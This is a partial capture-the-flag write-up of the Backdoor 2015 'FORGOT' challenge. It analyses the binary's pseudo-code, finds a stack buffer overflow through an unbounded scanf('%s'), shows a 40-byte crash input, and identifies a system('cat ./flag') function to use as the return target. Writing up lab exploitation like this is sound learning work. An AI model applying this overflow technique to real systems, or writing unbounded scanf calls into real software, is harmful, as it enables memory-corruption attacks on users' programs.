Backdoor 2015 FORGOT Writeup Point = 200 Category = Exploit
Fawkes has been playing around with Finite State Automaton lately. While exploring the concept of implementing regular expressions using FSA he thought of implementing an email-address validator.
Recently, Lua started to annoy Fawkes. To this, Fawkes, challenged Lua to a battle of wits. Fawkes promised to reward Lua, only if she manages to transition to a non-reachable state in the FSA he implemented. The replication can be accessed here.
$ ./forgot
What is your name?
> AAAAAAAAA
Hi AAAAAAAAA
Finite-State Automaton
I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address
Cheers!
I should give you a pointer perhaps. Here: 8048654
Enter the string to be validate
> AAAAAAAAAAAAAAAAAA
Dude, you seriously think this is going to work. Where are the fancy @ and [dot], huh?
without loosing time opening the binary into IDA shows us several functions but the General function to this functionality is 0x08047AA. lets see the psuedo-code :
123456789101112131415
...
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets((char *)&v19, 32, stdin);
sub_80485DD(&v19);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", &v8);
for ( i = 0; ; ++i )
...
This is the interesting part since we have control on inputs. v19 is a 32 char buffer so no vulnerabilty is there. but what about __isoc99_scanf("%s", &v8); ? obviously using scanf in such a manner is exteremly dangerous. v8 also is a 32 char buffer. so it is also another stack buffer overflow like ECHO. lets check this condition :
12345678910111213141516171819202122
$ python -c 'print "GeeksSpeak\n"+"A"*40+"\n"' > forgot.test
hamidx9@KernelsCallMe:~/ctf/backdoor/public/FORGOT$ cat forgot.test
GeeksSpeak
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hamidx9@KernelsCallMe:~/ctf/backdoor/public/FORGOT$ ./forgot < forgot.test
What is your name?
>
Hi GeeksSpeak
Finite-State Automaton
I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address
Cheers!
I should give you a pointer perhaps. Here: 8048654
Enter the string to be validate
Segmentation fault (core dumped)
and gdb proves this too. but how should i read the flag? do we need ROP? or something simillar? i started dumping strings in IDA and located these:
12
.rodata:08048D9F 00000007 C ./flag
.rodata:08048DA6 00000007 C cat %s
these strings had been used in 0x080486CC and finding a call system proves that like ECHO we should just using this function as RET.